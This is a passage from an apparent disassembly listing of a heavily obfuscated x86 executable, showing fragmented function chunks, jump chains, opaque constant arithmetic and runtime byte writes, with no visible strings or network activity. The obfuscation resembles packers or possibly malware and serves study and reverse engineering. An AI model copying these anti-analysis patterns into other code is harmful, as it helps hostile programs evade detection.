; END OF FUNCTION CHUNK	FOR sub_45944F

; =============== S U B	R O U T	I N E =======================================



sub_43A54F	proc near		; CODE XREF: dviuq5id:00439F21j
					; sub_44B301:loc_445760p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DD1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F935 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F42D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00450D80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004517AB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045525A SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		pushf
		push	0E634EAD6h
		pop	ebx
		xor	ebx, 5609E6C5h
		jmp	loc_43DD1D
sub_43A54F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_43A566:				; CODE XREF: sub_442913:loc_45A35Bj
		xor	ecx, 31F20F44h
		add	ecx, ebp
		add	ecx, 0EE33E3DCh
		mov	[ecx], eax
		pop	ecx
		jmp	loc_458559
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_43A57C:				; CODE XREF: sub_45147D:loc_452AE1j
		jl	loc_43C820
; END OF FUNCTION CHUNK	FOR sub_45147D
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_43A582:				; CODE XREF: sub_45169D+176Ej
		jmp	loc_439020
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D5EB

loc_43A587:				; CODE XREF: sub_44D5EB+6j
		jmp	loc_44601B
; END OF FUNCTION CHUNK	FOR sub_44D5EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43A58C:				; CODE XREF: sub_441DDA-47AEj
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		push	eax
		cdq
		jmp	loc_43C81D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_43A598:				; CODE XREF: sub_445110+2818j
		push	eax
		push	edx
		sub	eax, 609D9BE1h
		jmp	loc_456F9B
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43A5A5:				; CODE XREF: sub_449485:loc_451CD4j
		and	ecx, 0C4FAD1D6h
		xor	ecx, 522C61CAh
		sub	ecx, 0B732B85Fh
		xor	ecx, 34C9322Ch
		add	ecx, ebp
		jmp	loc_455B83
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43A5C4:				; CODE XREF: sub_446682+1671j
		jnz	loc_440005
		jmp	loc_43D3C1
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		mov	[eax], ecx
		jmp	sub_450981
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_43A5D6:				; CODE XREF: sub_451D31:loc_44EC02j
		jnz	loc_43CC1F
		jmp	loc_4501C6
; END OF FUNCTION CHUNK	FOR sub_451D31
; ---------------------------------------------------------------------------

loc_43A5E1:				; CODE XREF: dviuq5id:loc_43E8E7j
		xor	eax, 7FAEDEEEh
		add	eax, 86F5A351h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_4533AA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450350

loc_43A5F7:				; CODE XREF: sub_450350+Dj
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_450350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_43A5FC:				; CODE XREF: sub_44CBA2+C493j
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-28h]
		call	sub_43AEAA

loc_43A60A:				; CODE XREF: dviuq5id:00454018j
		mov	ebp, 183F6922h
		jnz	loc_43FBA6

loc_43A615:				; CODE XREF: sub_459983:loc_454002j
		xor	eax, 4FCED28Bh
		and	eax, 72847A10h
		xor	eax, 28CC5FCBh
		add	eax, ebp
		jmp	loc_445912
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		shl	ebx, 1Bh
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43A632:				; CODE XREF: sub_440898:loc_44166Ej
		jmp	sub_43F2B4
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_43A637:				; CODE XREF: dviuq5id:loc_44A576j
		jnz	loc_439748
		jmp	loc_4484B8
; ---------------------------------------------------------------------------

loc_43A642:				; DATA XREF: dviuq5id:0043C92Do
		call	sub_449EB7
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43A647:				; CODE XREF: dviuq5id:00441E69j
					; sub_448154:loc_4559EDj
		call	sub_4533E7
; END OF FUNCTION CHUNK	FOR sub_448154
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_43A64C:				; CODE XREF: sub_447C32-BD79j
		rol	edx, 0Fh
		and	edx, 6156B487h
		rol	edx, 9
		add	edx, 0DEDB29DBh
		xchg	edx, [esp+0]
		jmp	loc_43E8EC
; END OF FUNCTION CHUNK	FOR sub_447C32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_43A666:				; CODE XREF: sub_43C03F:loc_43C051j
		jz	loc_451BC9
		jmp	loc_445078
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_43A671:				; CODE XREF: sub_456EE5-4B3Ej
		xchg	ebx, [ebp+0]
		sbb	eax, ecx
		push	edi
		push	0BC13B741h
		jmp	loc_452942
; END OF FUNCTION CHUNK	FOR sub_456EE5
; ---------------------------------------------------------------------------

loc_43A681:				; CODE XREF: dviuq5id:loc_446DE8j
		call	sub_45A04B
		call	sub_43DCB4
; START	OF FUNCTION CHUNK FOR sub_451D52

loc_43A68B:				; CODE XREF: sub_451D52+7j
		push	offset sub_44446E
		jmp	loc_459CD6
; END OF FUNCTION CHUNK	FOR sub_451D52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5CC

loc_43A695:				; CODE XREF: sub_43C5CC+1CAA7j
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43A69F:				; CODE XREF: sub_43C5CC:loc_459061j
		call	sub_44181A
; END OF FUNCTION CHUNK	FOR sub_43C5CC
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43A6A4:				; CODE XREF: sub_43C4B5+957Dj
		jmp	loc_43BFE3
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43A6A9:				; CODE XREF: sub_449485-CA4Ej
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43A6AE:				; CODE XREF: sub_44AD42-F6C8j
		jmp	loc_4465E8
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439EDE

loc_43A6B3:				; CODE XREF: sub_439EDE+Bj
		jmp	loc_45A1B6
; END OF FUNCTION CHUNK	FOR sub_439EDE

; =============== S U B	R O U T	I N E =======================================



sub_43A6B8	proc near		; CODE XREF: dviuq5id:0044FC38j
					; dviuq5id:loc_458E82p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CE6E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00448584 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A559 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454E28 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_451E0A
		mov	eax, 6A74FD15h
		jmp	loc_43CE6E
sub_43A6B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43A6CF:				; CODE XREF: sub_459385-1C792j
		jz	locret_43B825
		xchg	edi, ecx
		jmp	loc_44169F
; END OF FUNCTION CHUNK	FOR sub_459385

; =============== S U B	R O U T	I N E =======================================



sub_43A6DC	proc near		; CODE XREF: dviuq5id:loc_45187Dj
					; DATA XREF: dviuq5id:00451873o
		call	sub_452A73

loc_43A6E1:				; CODE XREF: dviuq5id:0043BBE6j
					; dviuq5id:0045876Cj
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_457B95

loc_43A6EB:				; CODE XREF: dviuq5id:004441C1j
		add	eax, 0D478E6C9h
		xchg	eax, [esp+0]
sub_43A6DC	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43A160

loc_43A6F4:				; CODE XREF: sub_43A160:loc_4444ABj
		jmp	loc_4402C6
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43A6F9:				; CODE XREF: sub_448154+E812j
		and	ebp, ebx
		add	edx, ebp
		mov	ecx, 0C2A8DEA0h
		jmp	loc_44E120
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_43A707:				; CODE XREF: sub_439AA6:loc_449354j
		jl	loc_451A30
; END OF FUNCTION CHUNK	FOR sub_439AA6
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_43A70D:				; CODE XREF: sub_449B7F+8j
		jmp	loc_455232
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444351

loc_43A712:				; CODE XREF: sub_444351+Dj
		jmp	nullsub_487
; END OF FUNCTION CHUNK	FOR sub_444351
; ---------------------------------------------------------------------------

loc_43A717:				; CODE XREF: dviuq5id:0043D20Fj
		jmp	loc_44ECB9
; ---------------------------------------------------------------------------
		jle	loc_44A99B
		sbb	ebx, esi
		pushf
		sbb	ebp, ebx
		jmp	loc_451A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_43A72C:				; CODE XREF: sub_445498:loc_43BEF4j
		mov	[eax], edx
		or	esi, 15A41F86h
		jmp	loc_442114
; END OF FUNCTION CHUNK	FOR sub_445498

; =============== S U B	R O U T	I N E =======================================



sub_43A739	proc near		; CODE XREF: sub_439013:loc_442C65p
					; dviuq5id:00451158j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004503AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045488E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	eax
		jmp	loc_45488E
sub_43A739	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43A747:				; CODE XREF: sub_43FA59:loc_45811Aj
		jz	loc_453E08
		xor	edx, 48F91AEFh
		jz	loc_43BE89
		jmp	loc_453E08
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43A75E:				; CODE XREF: sub_459385:loc_442A93j
		jz	loc_44169F
		jmp	loc_4589B0
; END OF FUNCTION CHUNK	FOR sub_459385

; =============== S U B	R O U T	I N E =======================================



sub_43A769	proc near		; DATA XREF: dviuq5id:00445D32o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044F9E9 SIZE 00000005 BYTES

		add	eax, 20656881h
		popf
		xchg	eax, [esp-4+arg_0]

loc_43A773:				; CODE XREF: dviuq5id:loc_444398j
		jmp	loc_44F9E9
sub_43A769	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B71

loc_43A778:				; CODE XREF: sub_455B71+6B2j
		xchg	ecx, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_455B71
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43A77B:				; CODE XREF: sub_43BD72+7F78j
		mov	edx, esp
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		push	0
		push	eax
		lea	eax, sub_44903A
		jmp	loc_43F31E
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------

locret_43A791:				; CODE XREF: dviuq5id:loc_45956Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_43A792:				; CODE XREF: sub_455400-150BEj
		jmp	loc_44C84F
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------

loc_43A797:				; CODE XREF: dviuq5id:0043C693j
		jmp	loc_443576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43A79C:				; CODE XREF: sub_454267:loc_44F602j
		jnz	loc_4510C6
		jmp	loc_445D8F
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43A7A7:				; CODE XREF: sub_43EB11+BFADj
		push	7BF0E061h
		pop	ebx
		xor	ebx, 96F39A5Ch
		add	ebx, 13410472h
		xchg	ebx, [esp+0]
		jmp	loc_43FAB7
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_43A7C2:				; CODE XREF: sub_456253+3B65j
		jmp	loc_444849
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_43A7C7:				; CODE XREF: sub_43A101+Aj
		jmp	loc_459A3A
; END OF FUNCTION CHUNK	FOR sub_43A101
; ---------------------------------------------------------------------------
		call	nullsub_301
		call	sub_442294
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_43A7D6:				; CODE XREF: sub_43AEAA+D0Fj
		jmp	loc_4412F3
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------

loc_43A7DB:				; CODE XREF: dviuq5id:004555CEj
		shl	eax, 11h
		or	esi, ebx
		jnp	loc_44BD46
		xor	ebx, 75C4B8F5h
		jmp	loc_449554
; ---------------------------------------------------------------------------
		call	sub_457C14
		call	sub_458192
		mov	dword ptr [ebp-4], 1
		push	17961C06h
		pop	eax
		sub	eax, 34745FC1h
		jmp	loc_4464FF

; =============== S U B	R O U T	I N E =======================================



sub_43A813	proc near		; CODE XREF: dviuq5id:004464EDj
					; sub_453ECC-1B4Bp

; FUNCTION CHUNK AT 0043E162 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443B49 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00444740 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004512D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451823 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045521D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045938E SIZE 00000020 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		jmp	loc_4512D1
sub_43A813	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_43A822:				; CODE XREF: sub_4543C5:loc_444DADj
					; sub_4543C5-955Dj
		push	86364D68h
		pop	eax
		and	eax, 0D78EFBA7h
		xor	eax, 0DF88C4B2h
		rol	eax, 1
		and	eax, 436B0846h
		xor	eax, 0F3535712h
		jmp	loc_44F807
; END OF FUNCTION CHUNK	FOR sub_4543C5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_499. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, 0D53D974Bh
		call	sub_453642
		mov	ds:off_41D064, eax
		push	offset sub_43D916
		jmp	loc_441E85
; ---------------------------------------------------------------------------

loc_43A862:				; CODE XREF: dviuq5id:004487C7j
		call	sub_453642
		push	edi
		push	0A25B4D0Eh
		pop	edi
		rol	edi, 0Ah
		cmp	edi, 0F3674B0Bh
		jmp	loc_4452E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_43A87C:				; CODE XREF: sub_442503-7009j
		jz	loc_458174
		jmp	loc_43CA25
; END OF FUNCTION CHUNK	FOR sub_442503

; =============== S U B	R O U T	I N E =======================================



sub_43A887	proc near		; DATA XREF: dviuq5id:0043B0F6o

; FUNCTION CHUNK AT 004442AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045134D SIZE 0000000B BYTES

		sub	eax, ds:dword_43EDF8
		shr	eax, 11h
		jz	loc_4458C2
		jmp	loc_4442AC
sub_43A887	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43A89B:				; CODE XREF: sub_44646F+10301j
		jnp	loc_4535A1
		adc	eax, 1D2E035Eh
		jmp	loc_457144
; END OF FUNCTION CHUNK	FOR sub_44646F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A8AD:				; CODE XREF: dviuq5id:004562DBj
		jmp	loc_451A41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_43A8B2:				; CODE XREF: sub_445110+Aj
		jmp	loc_4392CD
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_43A8B7:				; CODE XREF: sub_443ECE:loc_442B7Bj
		ror	eax, 8
		push	esi
		push	0A25EFB8Bh
		pop	esi
		jmp	loc_451194
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_43A8C6:				; CODE XREF: sub_450E57-499Fj
		or	eax, 27FE956Dh
		add	eax, 484510A5h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_457131
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459588

loc_43A8DB:				; CODE XREF: sub_459588+13j
		xor	edi, 7561CC5Eh
		add	edi, ebp
		add	edi, 70A1CC57h
		mov	[edi], eax
		jmp	loc_43AEFA
; END OF FUNCTION CHUNK	FOR sub_459588
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_444F0F
		push	offset sub_443512
		jmp	loc_43C08B
; ---------------------------------------------------------------------------
		rol	esi, 1Dh
		jmp	loc_44FFA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_43A90C:				; CODE XREF: sub_443ECE+E2B6j
		xor	eax, ebp
		jmp	loc_456B72
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_43A913:				; CODE XREF: sub_448FC7:loc_45130Bj
		cdq
		jmp	sub_449647
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_43A919	proc near		; DATA XREF: dviuq5id:00452447o

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00443FBC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044F3A4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00453B46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A14F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0045A505 SIZE 00000005 BYTES

		lea	eax, sub_440861
		jnb	loc_443FBC
		mov	[ebp-4], eax
		push	0
		jmp	loc_45A505
sub_43A919	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43A92F:				; CODE XREF: sub_459385:loc_449E87j
		push	offset loc_440EDE
		jmp	nullsub_363
; END OF FUNCTION CHUNK	FOR sub_459385
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_338. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D148

loc_43A93A:				; CODE XREF: sub_44D148+5108j
		jmp	loc_4468CB
; END OF FUNCTION CHUNK	FOR sub_44D148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433AF

loc_43A93F:				; CODE XREF: sub_4433AF+8j
		jmp	loc_458E49
; END OF FUNCTION CHUNK	FOR sub_4433AF
; ---------------------------------------------------------------------------

loc_43A944:				; CODE XREF: dviuq5id:loc_448D64j
		mov	byte ptr [eax],	0C3h
		call	sub_456F43
		mov	edx, 0A22F8A70h
		call	sub_444466
		mov	ds:dword_44777C, eax
		call	sub_456F43
		jmp	loc_441EC5
; ---------------------------------------------------------------------------

loc_43A965:				; DATA XREF: sub_44297E+7658o
		push	0B7A05FDCh
		pop	ebx
		rol	ebx, 1Ch
		add	ebx, 34CB895Bh
		xchg	ebx, [esp]
		jmp	sub_45A04B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432C4

loc_43A97C:				; CODE XREF: sub_4432C4-1A98j
		sub	ecx, 167AC126h
		cmp	esi, 0B8CDAC33h
		jmp	loc_452B67
; END OF FUNCTION CHUNK	FOR sub_4432C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_43A98D:				; CODE XREF: sub_44D45B-C264j
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44E154
		jmp	loc_456CF1
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
		rol	ebx, 15h
		sbb	edi, 0D83A47A8h
		jmp	sub_45553D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441881

loc_43A9AA:				; CODE XREF: sub_441881+9j
		pop	edx
		xor	eax, 0CFFA71CFh
		and	eax, 92CCEFFCh
		or	eax, ds:4000FBh
		and	eax, 19BEDB16h

loc_43A9C3:				; CODE XREF: dviuq5id:loc_44DACEj
		xor	eax, 0B75E5078h
		jmp	loc_44FA34
; END OF FUNCTION CHUNK	FOR sub_441881
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45055F

loc_43A9CE:				; CODE XREF: sub_45055F:loc_43DD65j
		xor	eax, 0B7712360h
		add	eax, 0F78CDD73h
		rol	eax, 0Eh
		add	eax, 0A90B15ADh
		add	eax, ebp
		call	sub_44818A

loc_43A9EA:				; CODE XREF: sub_448A6A+D020j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_45055F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43A9EF:				; CODE XREF: sub_44EAC4+65D2j
		jmp	loc_440B74
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_43A9F4:				; CODE XREF: sub_448FC7+3081j
		mov	al, [eax]
		jns	loc_44E93D
		sub	al, 99h
		push	0FE47094h
		jmp	loc_4512B7
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_43AA08:				; CODE XREF: sub_450217-3792j
		jz	loc_43AA1E
		cmp	eax, 0FFFFFFFFh
		jz	loc_43AA1E
		mov	eax, [eax]
		jmp	loc_446867
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_43AA1E:				; CODE XREF: sub_450217:loc_43AA08j
					; sub_450217-15806j ...
		xor	ebx, ebx

loc_43AA20:				; CODE XREF: sub_4523AC:loc_44B091j
					; sub_4505B4+Ej
		mov	eax, ebx
		pop	ecx
		pop	ebx
		jmp	loc_44ECD8
; END OF FUNCTION CHUNK	FOR sub_43D181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_417. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_43AA2A:				; CODE XREF: sub_44A2CC:loc_452EABj
		jnz	loc_440142
		jmp	loc_4546FF
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_43AA35:				; CODE XREF: sub_43B2BA+9j
		push	0C01199FFh
		pop	ebx
		xor	ebx, 3AFC58D7h
		cmp	ebx, 8B9D9374h
		jmp	loc_44AC29
; END OF FUNCTION CHUNK	FOR sub_43B2BA

; =============== S U B	R O U T	I N E =======================================



sub_43AA4C	proc near		; CODE XREF: sub_44460F+98CDp
					; dviuq5id:00457DDFj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044C653 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	8BBE7C19h
		xchg	ebx, [esp+0]
		mov	edi, ebx
		pop	ebx
		or	edi, 0E8950D0h
		jnz	loc_44C653

loc_43AA67:				; CODE XREF: sub_4440E9+9C2Ej
		jmp	nullsub_26
sub_43AA4C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_43AA6C:				; CODE XREF: sub_440C61+7039j
		or	edx, edx
		jnz	loc_454B91
		jmp	loc_457AA5
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43AA79:				; CODE XREF: sub_454267:loc_440D9Cj
		jge	loc_45632E
; END OF FUNCTION CHUNK	FOR sub_454267
; START	OF FUNCTION CHUNK FOR sub_458330

loc_43AA7F:				; CODE XREF: sub_458330+11j
		jmp	loc_452C86
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43AA84:				; CODE XREF: sub_43C4B5-B4Aj
		jmp	loc_4416EB
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		test	edi, edx
		jmp	loc_44BB09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_43AA90:				; CODE XREF: sub_43F1D6:loc_451C3Ej
		mov	[ebp-18h], eax
		push	6674D675h
		xchg	ebx, [esp+4+var_4]
		mov	eax, ebx
		pop	ebx
		rol	eax, 11h
		and	eax, 16736292h
		jmp	loc_4594BA
; END OF FUNCTION CHUNK	FOR sub_43F1D6
; ---------------------------------------------------------------------------

loc_43AAAC:				; CODE XREF: dviuq5id:00448284j
		mov	esi, ebx
		xchg	esi, [esp]
		push	57FDA318h
		xchg	esi, [esp]
		mov	ebx, esi
		jmp	loc_445AEC
; ---------------------------------------------------------------------------

loc_43AAC0:				; CODE XREF: dviuq5id:0044C42Bj
					; dviuq5id:00459E9Dj
		mov	[ebp-14h], eax
		mov	eax, [ebp-10h]
		mov	edx, eax
		call	sub_45A04B
		jmp	loc_44795C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459E36

loc_43AAD2:				; CODE XREF: sub_459E36-1549Bj
		or	edx, 0BF0BF15Fh
		rol	edx, 1Ch
		or	edx, ds:4000F1h
		add	edx, 4467265h
		xchg	edx, [esp+4+var_4]
		jmp	loc_4444C1
; END OF FUNCTION CHUNK	FOR sub_459E36
; ---------------------------------------------------------------------------

loc_43AAEF:				; CODE XREF: dviuq5id:0045A332j
		push	91E7E8Eh
		jmp	loc_44B5E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_43AAFA:				; CODE XREF: sub_44864B-CD5j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_454644
		jmp	loc_458563
; END OF FUNCTION CHUNK	FOR sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_43AB0B:				; CODE XREF: sub_44C07B-CA5Dj
		mov	eax, 0B4B93D2h
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		push	0A1C7F6AAh
		pop	edx
		add	edx, 32FC0D8Ch
		jmp	loc_43F219
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43AB27:				; CODE XREF: sub_4525D0-139DEj
		or	edx, 919423A1h
		mov	eax, 0F07542C3h
		jmp	loc_459703
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E816

loc_43AB37:				; CODE XREF: sub_43E816:loc_44C77Ej
		jmp	ds:off_41D140
; END OF FUNCTION CHUNK	FOR sub_43E816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B48A

